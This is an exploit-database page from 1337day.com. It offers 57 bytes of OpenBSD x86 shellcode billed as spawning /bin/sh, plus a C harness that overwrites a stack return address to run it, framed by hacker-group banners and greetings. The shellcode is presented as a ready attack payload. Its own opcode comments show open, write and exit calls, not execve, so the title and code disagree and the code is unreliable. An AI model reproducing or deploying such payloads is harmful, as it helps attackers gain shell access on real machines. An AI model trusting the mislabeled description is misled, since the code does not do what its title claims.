OpenBSD/x86 Execve ("/bin/sh") - ShellCode 57 bytes



EKU-ID: 568 CVE: OSVDB-ID:
Author: KedAns-Dz Published: 2011-06-21 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

//======[ Sh3lL C0d3 ]=========>
/*
###
# Title : OpenBSD/x86 Execve ("/bin/sh") - ShellCode 57 bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com
# Twitter page : twitter.com/kedans
# platform : OpenBSD/x86
# Type : Shellcode - 57 Bytes
##
# +----+ xXx < Greetings to 'indoushka' at the Jail > xXx +----+
##
# Noting to all my friends and my Family : (my BAC 2011 is bosh) -> BAC 2012 I will be coming !
# > Hredtha fe elMATH mo3amil 6 & fe lePHYSICs mo3almil 6 tani makan m4k4n pffff (x_x) ...
# Sah kont CaVa em3a le Engineering Elicrtic m034mil 7 ! mes ma3andha ma t3aWedh 3la loKhrin3
# +----------+ X==================== S x H x I x T ====================X +----------+
###
*/

#include <string.h>

char OpenBSD[]=
"\xEB\x2B"       // jumpme
"\x5E"           // pop %esi
"\x31\xC0"       // xor %eax,%eax
"\x88\x46\x0B"   // mov byte ptr ds:[%esi+b],al
"\x88\x46\x29"   // mov byte ptr ds:[%esi+29],al
"\x50"           // push %eax
"\xB0\x09"       // mov al,9
"\x50"           // push %eax
"\x31\xC0"       // xor %eax,%eax
"\x56"           // push %esi
"\x50"           // push %eax
"\xB0\x05"       // mov al,5
"\xCD\x80"       // int 80
"\x89\xC3"       // mov %ebx,%eax
"\x6A\x1D"       // push 1D
"\x8D\x46\x0C"   // lea %eax, dword ptr ds:[%esi+c]
"\x50"           // push %eax
"\x53"           // push %ebx
"\x50"           // push %eax
"\x31\xC0"       // xor %eax,%eax
"\xB0\x04"       // mov al,4
"\xCD\x80"       // int 80
"\x31\xC0"       // xor %eax,eax
"\xB0\x01"       // mov al,1
"\xCD\x80"       // int 80
"\xE8\xD0\xFF\xFF\xFF"   // call .string
"\x2F\x62\x69\x6e\x2F\x73\x68"; // .string (/bin/sh)

main()
{
   int *ret;
   printf("\n%d\n",sizeof(OpenBSD));
   ret=(int*)&ret+2;
   (*ret)=(int)OpenBSD;
}

/*
#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== 
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * Kalashinkov3 * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team & Liyan Oz (www.dis9.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================